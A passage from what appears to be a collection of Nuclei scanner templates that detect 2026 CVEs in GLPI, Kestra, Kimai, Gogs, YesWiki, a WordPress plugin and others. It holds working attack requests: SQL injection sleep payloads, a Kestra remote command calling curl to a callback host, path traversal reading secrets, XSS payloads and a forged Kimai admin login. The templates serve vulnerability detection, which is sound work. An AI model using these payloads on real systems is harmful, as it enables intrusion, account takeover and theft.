true\n    shodan-query: title:\"Authentication - GLPI\"\n  tags: cve,cve2026,glpi,sqli,blind,time-based,authenticated\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'id=\"login_name\"'\n          - '_glpi_csrf_token'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: uname\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'id=\"login_name\" name=\"([^\"]+)\"'\n\n      - type: regex\n        name: pwd\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'id=\"login_password\" name=\"([^\"]+)\"'\n\n      - type: regex\n        name: token\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '_glpi_csrf_token\" value=\"([a-f0-9]+)\"'\n\n  - raw:\n      - |\n        POST /front/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        {{uname}}={{username}}&{{pwd}}={{password}}&_glpi_csrf_token={{token}}&submit=Login\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"logout.php\"\n        internal: true\n\n  - raw:\n      - |\n        GET /front/user.form.php?id=2 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        GET /front/log/export.php?itemtype=User&id=2&filter%5Baffected_fields%5D%5B0%5D=OR::1%20AND%20sleep(5) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"duration >= 5\"\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"ID;Date;User;Field;Update\"\n# digest: 490a0046304402202fbf869bb25b6d7ade46de066ab6ed51a630491e799c73c96f4b09b61b36fdd402204c913a6b156fddf278e17dee46d74ceb79dd8c730d355c2ca301c48fb58cd247:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-53629.yaml","vuln_id":"cve-2026-53629"},{"raw":"id: CVE-2026-53595\n\ninfo:\n  name: FreeScout < 1.8.224 - Invite Hash Authorization Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    FreeScout prior to 1.8.224 contains an authentication bypass caused by improper invite_hash handling and decryption failure in user setup endpoint, letting anonymous attackers reset credentials and log in as the lowest-id activated user, exploit requires no authentication.\n  impact: |\n    Anonymous attackers can reset email and password of the lowest-id activated user, gaining full access including administrator privileges.\n  remediation: |\n    Upgrade to version 1.8.224 or later.\n  reference:\n    - https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-jqj5-r72v-v29g\n    - https://github.com/freescout-help-desk/freescout/commit/c4688c31\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53595\n  classification:\n    cve-id: CVE-2026-53595\n    epss-score: 0.01945\n    epss-percentile: 0.80235\n    cwe-id: CWE-289\n    cvss-score: 9.4\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: freescout-help-desk\n    product: freescout\n    shodan-query: http.title:\"FreeScout\"\n    fofa-query: title=\"FreeScout\" || body=\"freescout\"\n  tags: cve,cve2026,freescout,helpdesk,laravel,authbypass,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /user-setup/%20/9999999999 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"name=\\\"password_confirmation\\\"\", \"User Setup Wizard\")'\n          - '!contains(body, \"No invite was found\")'\n        condition: and\n# digest: 490a0046304402206b1438d23ad05a858d434f70dd633b9f66cca1bc5090050bf9ebaa38b61cd859022042e0601c312a8b3197c60803057d555e83b51b6cf9b97eec686bb8e9c02b229c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-53595.yaml","vuln_id":"cve-2026-53595"},{"raw":"id: CVE-2026-53576\n\ninfo:\n  name: Kestra <= 1.3.20 - Remote Code Execution\n  author: 0x_Akoko,pdteam,aryu-ru\n  severity: critical\n  description: |\n    Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.\n  remediation: |\n    Update to versions 1.0.45 or 1.3.21 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53576\n    - https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-53576\n    epss-score: 0.03296\n    epss-percentile: 0.88539\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: kestra\n    product: kestra\n    shodan-query: title:\"Kestra\"\n    fofa-query: title=\"Kestra\"\n  tags: cve,cve2026,kestra,rce,oast,intrusive,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"KESTRA\", \"<title>Kestra\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/main/flows/configs HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-yaml\n\n        id: configs\n        namespace: configs\n        tasks:\n          - id: pwn\n            type: io.kestra.plugin.scripts.shell.Commands\n            taskRunner:\n              type: io.kestra.plugin.core.runner.Process\n            commands:\n              - curl -m 5 -s http://{{interactsh-url}}/rce\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 409'\n          - 'contains(body, \"configs\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/main/executions/configs/configs HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----KestraBoundary\n\n        ------KestraBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"http\", \"dns\")'\n          - 'status_code == 200 || status_code == 409'\n        condition: and\n# digest: 4b0a00483046022100dc28c8e8ba1ea6a4ae4c1ec82977b8a81aefeb1e18293530a4faa961645dfc5e022100ea8877a71b9f086c4d67b41a0ff5ceab3cf070dc662df6cc717dd32717d1f21c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-53576.yaml","vuln_id":"cve-2026-53576"},{"raw":"id: CVE-2026-53519\n\ninfo:\n  name: Nezha Dashboard < 2.0.13 - Path Traversal\n  author: Aryu-RU,str4k3r\n  severity: critical\n  description: |\n    Nezha Monitoring < 2.0.13 contains a path traversal caused by improper prefix checking in the dashboard's NoRoute handler, letting unauthenticated attackers read arbitrary files via crafted URLs.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive configuration or data files.\n  remediation: |\n    Update to version 2.0.13 or later.\n  reference:\n    - https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53519\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-53519\n    epss-score: 0.01928\n    epss-percentile: 0.80039\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    shodan-query: title:\"Nezha\"\n  tags: cve,cve2026,nezha,lfi,traversal,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/dashboard%2e%2e/data/config.yaml\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"jwt_secret_key:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100dab218f3c2ea7df62e55cca65c81898fbcb62f3fbb1bb1fbbe5f7e2d3f63fae302200456be893708aad1d5b40e44bf148020c645beca687172430db5f9f32ddee67d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-53519.yaml","vuln_id":"cve-2026-53519"},{"raw":"id: CVE-2026-53468\n\ninfo:\n  name: Typemill CMS < 2.23.0 - Cross-Site Scripting\n  author: sandiyochristan\n  severity: medium\n  description: |\n    Typemill CMS before version 2.23.0 is vulnerable to stored HTML attribute injection in the page metadata fields (og:title and og:description). An authenticated user with permission to modify page metadata can inject arbitrary HTML attributes into generated meta tags via the /api/v1/meta endpoint due to missing output encoding in the renderMeta() function in system/typemill/Assets.php.\n  impact: |\n    An authenticated attacker can inject arbitrary HTML attributes into meta tags, potentially leading to stored cross-site scripting (XSS) and execution of attacker-controlled JavaScript in the victim's browser context.\n  remediation: |\n    Update Typemill CMS to version 2.23.0 or later, which applies htmlspecialchars() encoding to metadata values before rendering.\n  reference:\n    - https://github.com/typemill/typemill/security/advisories/GHSA-wg6r-jwmr-p7gr\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53468\n    - https://github.com/typemill/typemill\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N\n    cvss-score: 4.6\n    cve-id: CVE-2026-53468\n    epss-score: 0.00424\n    epss-percentile: 0.36848\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: typemill\n    product: typemill\n    shodan-query: http.html:\"typemill\"\n    fofa-query: body=\"typemill\"\n  tags: cve,cve2026,typemill,xss,cms,authenticated\n\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n\nflow: |\n  http('login');\n  http('inject');\n  http('verify');\n\nhttp:\n  - id: login\n    raw:\n      - |\n        POST /api/v1/auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"true\"\n        internal: true\n\n  - id: inject\n    raw:\n      - |\n        POST /api/v1/meta HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-Session-Auth: true\n\n        {\"url\":\"/\",\"tab\":\"meta\",\"data\":{\"title\":\"{{randstr}}\\\" onmouseover=\\\"alert(document.domain)\\\" x=\\\"\",\"status\":\"published\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"true\"\n        internal: true\n\n  - id: verify\n    raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'onmouseover=\"alert(document.domain)\"'\n          - 'og:title'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210093fe389fb5f7b6be8efca9e89e915aaf3cbe6b6f04cbc53d6b147e41efdeeafd02200a4417014ef65b066d1b5e31ad27734f37cecfade59d465ce8dfc29348469e8d:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-53468.yaml","vuln_id":"cve-2026-53468"},{"raw":"id: CVE-2026-52824\n\ninfo:\n  name: Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Kimai Docker images <= 2.57.0 ship with a hardcoded APP_SECRET of \"change_this_to_something_unique\". This default secret is used by Symfony's SignatureHasher to HMAC-sign login links and remember-me cookies. An unauthenticated attacker who knows this default secret can forge valid authentication tokens and hijack any user account, including the super-admin.\n  impact: |\n    An unauthenticated remote attacker can forge valid login-link URLs to authenticate as any user (including administrators) without knowing their password, achieving full account takeover.\n  remediation: |\n    Upgrade to Kimai >= 2.58.0 which generates a random APP_SECRET on first boot. Alternatively, manually set a unique APP_SECRET in your .env.local file.\n  reference:\n    - https://github.com/advisories/GHSA-jr9p-4h4j-6c58\n    - https://github.com/kimai/kimai/releases/tag/2.58.0\n  classification:\n    cve-id: CVE-2026-52824\n    epss-score: 0.01333\n    epss-percentile: 0.71222\n    cwe-id: CWE-1188\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: kimai\n    product: kimai\n    shodan-query: title:\"Kimai\"\n    fofa-query: title=\"Kimai\"\n  tags: cve,cve2026,kimai,default-secret,auth-bypass,account-takeover\n\nvariables:\n  fh: \"D60nAF03Qti0aU2B2Z5nVMOl_evP1uYHUVXRtHzgea0~\"\n  secret: \"change_this_to_something_unique\"\n  expiry: \"{{unix_time()+900}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/en/login\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Kimai\"\n          - \"login_check\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /en/auth/link/check?user=admin&expires={{expiry}}&hash={{replace(replace(replace(base64(hex_decode(hmac(\"sha256\",fh+\":\"+expiry+\":admin\",secret))),\"+\",\"-\"),\"/\",\"_\"),\"=\",\"~\")}}{{fh}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"KIMAI_REMEMBER=App.Entity.User\"\n\n      - type: status\n        status:\n          - 302\n\n      - type: word\n        part: header\n        words:\n          - \"/login\"\n        negative: true\n# digest: 490a0046304402201f7f2d4bddb1bc10b1ac2ad02f4b3c8d63a953dd5b918251c26b0af08e6db1000220310c251a097fd25f8659a4351648681e3dfe9f491f94e07a33c2aba467c9d16a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-52824.yaml","vuln_id":"cve-2026-52824"},{"raw":"id: CVE-2026-52815\n\ninfo:\n  name: Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure\n  author: 0x_Akoko\n  severity: low\n  description: |\n    Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n  impact: |\n    An unauthenticated attacker can enumerate all teams within any organization including private teams, discover permission levels, map organizational structure, and identify high-value admin and owner teams for targeted attacks.\n  remediation: |\n   Update Gogs to version 0.14.3 or later.\n  reference:\n    - https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-52815\n  classification:\n    cvss-metrics: \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\"\n    cvss-score: 4.3\n    cve-id: CVE-2026-52815\n    epss-score: 0.01488\n    epss-percentile: 0.74139\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: gogs\n    product: gogs\n    shodan-query: 'http.title:\"Gogs\"'\n    fofa-query: title=\"Gogs\"\n  tags: cve,cve2026,gogs,exposure,unauth\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/repos/search?limit=1\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: orgname\n        part: body\n        group: 1\n        regex:\n          - '\"username\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/orgs/{{orgname}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"username\\\"\", \"\\\"full_name\\\"\")'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        GET /api/v1/orgs/{{orgname}}/teams HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"id\\\"\", \"\\\"name\\\"\", \"\\\"permission\\\"\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 4a0a0047304502210089a46a213e206470cc3403a4d8cbcecf36dd52ab92ee61490d6251d3ed5623a5022019924ee0665f5adbd2bf9101e9c109a41a9342b316095edda135aac95ad346d3:922c64590222798bb761d5b6d8e72950","severity":"low","template_path":"http/cves/2026/CVE-2026-52815.yaml","vuln_id":"cve-2026-52815"},{"raw":"id: CVE-2026-52806\n\ninfo:\n  name: Gogs <= 0.14.2 - Authenticated RCE via git rebase Argument Injection\n  author: DhiyaneshDk,pdteam\n  severity: critical\n  description: |\n    Gogs is an open source self-hosted Git service. Prior to 0.14.3, Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the \"Rebase before merging\" merge operation.\n  impact: |\n    Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.\n  remediation: This vulnerability is fixed in 0.14.3.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-52806\n    - https://github.com/portbuster1337/CVE-2026-52806\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/gogs_rebase_rce.rb\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-52806\n    epss-score: 0.07934\n    epss-percentile: 0.94748\n    cwe-id: CWE-77\n    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: gogs\n    product: gogs\n    shodan-query: title:\"Sign In - Gogs\"\n    google-query: intitle:\"Sign In - Gogs\"\n    fofa-query: title=\"sign in - gogs\"\n  tags: cve,cve2026,gogs,rce,argument-injection,git,authenticated,passive,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/user/login\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<meta property=\"og:description\" content=\"Gogs is a painless self-hosted Git service.\">'\n          - '<meta name=\"description\" content=\"Gogs is a painless self-hosted Git service\" />'\n          - \"<title>Sign In - Gogs</title>\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n\n      - type: dsl\n        dsl:\n          - compare_versions(gogs_version, '<= 0.14.2')\n\n    extractors:\n      - type: regex\n        name: gogs_version\n        part: body\n        group: 1\n        regex:\n          - 'Version: (\\d+\\.\\d+\\.\\d+)'\n        internal: true\n\n      - type: regex\n        group: 1\n        regex:\n          - 'Version: (\\d+\\.\\d+\\.\\d+)'\n        part: body\n# digest: 4a0a0047304502200ef278bc3f0902873d1aedb9d39e9c9745a1cd56f5081a7eba651905067e1206022100ad5b5707d3c349b856340f807bd81546f8639ce80ee713684b02ea594ae9b336:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-52806.yaml","vuln_id":"cve-2026-52806"},{"raw":"id: CVE-2026-52774\n\ninfo:\n  name: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.\n  impact: |\n   Attackers can execute arbitrary JavaScript in victims' browsers.\n  remediation: |\n   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.\n  reference:\n    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-52774\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-52774\n    epss-score: 0.00658\n    epss-percentile: 0.51621\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: yeswiki\n    product: yeswiki\n    shodan-query: http.html:\"YesWiki\"\n    fofa-query: body=\"YesWiki\"\n  tags: cve,cve2026,yeswiki,xss,reflected\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'data-formid=\"\" onmouseover=\"alert(document.domain)\" x=\"\"'\n          - 'widgetapp'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"yeswiki\"\n          - \"YesWiki\"\n        condition: or\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100e113d1a4ae5eb5f102d1a83e93cf5c525754432300bc93c389be18ccfb066a0d022100d18dfce3885bbc2951d54a54911658ed093ab1a9dcf9ba40d278f8c56e6f4c61:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-52774.yaml","vuln_id":"cve-2026-52774"},{"raw":"id: CVE-2026-52773\n\ninfo:\n  name: YesWiki Archived Revision - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.\n  impact: |\n   Attackers can execute arbitrary JavaScript in victims' browsers.\n  remediation: |\n   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.\n  reference:\n    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-52773\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-52773\n    epss-score: 0.00591\n    epss-percentile: 0.48356\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: yeswiki\n    product: yeswiki\n    shodan-query: http.html:\"YesWiki\"\n    fofa-query: body=\"YesWiki\"\n  tags: cve,cve2026,yeswiki,xss\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?PagePrincipale/revisions\"\n      - \"{{BaseURL}}/?GererSite/revisions\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"&quot;time&quot;\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: timestamp\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '&quot;time&quot;:&quot;(\\d{4}-\\d{2}-\\d{2}\\s\\d{2}:\\d{2}:\\d{2})&quot;'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?PagePrincipale&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E\"\n      - \"{{BaseURL}}/?GererSite&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"><svg onload=alert(document.domain)>'\n          - 'name=\"time\"'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"yeswiki\"\n        case-insensitive: true\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100cc80808f03ed202006eb77f40811e06eb6ce69de3312e5a88687951b20aec32e02210089853b2703632abce2c9561caca81a65c2b8b205504675c615ec0e2209ca170c:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-52773.yaml","vuln_id":"cve-2026-52773"},{"raw":"id: CVE-2026-52715\n\ninfo:\n  name: GEO my WP <= 4.5.5 - Unauthenticated SQL Injection\n  author: HaroonArshad-53\n  severity: critical\n  description: |\n    The GEO my WP plugin for WordPress up to and including 4.5.5 does not sanitise the swlatlng and nelatlng map boundary parameters of its locator search form. The values are split on a comma and concatenated directly into the SQL query, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.\n  remediation: |\n    Update to a version later than 4.5.5 or the latest available version.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-52715\n    - https://dev.to/guidance_white/cve-2026-52715-unauthenticated-sql-injection-in-geo-my-wp-via-map-boundary-search-2fij\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-52715\n    epss-score: 0.01187\n    epss-percentile: 0.67969\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    vendor: eyal-fitoussi\n    product: geo-my-wp\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/geo-my-wp/\"\n    fofa-query: body=\"/wp-content/plugins/geo-my-wp/\"\n  tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,sqli,time-based-sqli,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/geo-my-wp/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - compare_versions(version, \"< 4.5.5.1\")\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - \"Stable tag: ([0-9.]+)\"\n\n  - raw:\n      - |\n        @timeout: 10s\n        GET /?page_id=4&swlatlng=%28SELECT%20SLEEP%286%29%29%2C0&nelatlng=1%2C1 HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - duration >= 6\n        condition: and\n# digest: 4b0a00483046022100b7c2fe4bab4c42c724597d08fae77c1eedd12323c21819240d5d6fe8e51dfdd40221009b362cae2a38faf45308332a474448b68a2abf67d409cba8ed7369fffb9610ef:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-52715.yaml","vuln_id":"cve-2026-52715"},{"raw":"id: CVE-2026-50751\n\ninfo:\n  name: Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass\n  author: watchTowr,DhiyaneshDk\n  severity: critical\n  description: |\n    IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecated IKEv1.\n  impact: |\n    Unauthenticated attackers can bypass user authentication and establish remote VPN connections, compromising network security.\n  remediation: |\n    Apply Check Point hotfix sk185033 which restores the certificate signature verification in verifyMessagePhase1.\n  reference:\n    - https://labs.watchtowr.com/marking-your-own-homework-check-point-remote-access-vpn-ikev1-authentication-bypass-cve-2026-50751/\n    - https://support.checkpoint.com/results/sk/sk185033\n    - https://github.com/watchtowrlabs/watchTowr-vs-Check-Point-CVE-2026-50751\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10.0\n    cve-id: CVE-2026-50751\n    epss-score: 0.85348\n    epss-percentile: 0.99718\n    cwe-id: CWE-287,CWE-295\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: checkpoint\n    product: quantum_security_gateway\n    shodan-query: html:\"Check Point SSL Network Extender\"\n  tags: cve,cve2026,checkpoint,vpn,ike,ikev1,auth-bypass,js,kev,vkev\n\njavascript:\n  - pre-condition: |\n      isUDPPortOpen(Host, Port);\n\n    code: |\n      (function() {\n        const c  = require(\"nuclei/net\");\n        const nb = require(\"nuclei/bytes\");\n        const USE_TCPT = (parseInt(Port) === 443);\n\n        function h2b(hex) {\n          const r=[];\n          for(let i=0;i<hex.length;i+=2) r.push(parseInt(hex.substr(i,2),16));\n          return r;\n        }\n        function b2h(arr) {\n          let s=\"\";\n          for(let i=0;i<arr.length;i++) s+=('0'+arr[i].toString(16)).slice(-2);\n          return s;\n        }\n        function rd32(a,i){return((a[i]<<24)|(a[i+1]<<16)|(a[i+2]<<8)|a[i+3])>>>0;}\n        function wr32(v){return[(v>>>24)&0xff,(v>>>16)&0xff,(v>>>8)&0xff,v&0xff];}\n\n        function sha1(data) {\n          let m=Array.from(data),bl=m.length*8;\n          m.push(0x80);\n          while(m.length%64!==56)m.push(0);\n          for(let i=7;i>=0;i--)m.push((bl/Math.pow(2,i*8))&0xff);\n          let H=[0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0];\n          for(let b=0;b<m.length;b+=64){\n            let W=[];\n            for(let j=0;j<16;j++)W.push(rd32(m,b+j*4));\n            for(let j=16;j<80;j++){const n=W[j-3]^W[j-8]^W[j-14]^W[j-16];W.push(((n<<1)|(n>>>31))>>>0);}\n            let a=H[0],hb=H[1],hc=H[2],d=H[3],e=H[4];\n            for(let j=0;j<80;j++){\n              let f,k;\n              if(j<20){f=((hb&hc)|(~hb&d))>>>0;k=0x5A827999;}\n              else if(j<40){f=(hb^hc^d)>>>0;k=0x6ED9EBA1;}\n              else if(j<60){f=((hb&hc)|(hb&d)|(hc&d))>>>0;k=0x8F1BBCDC;}\n              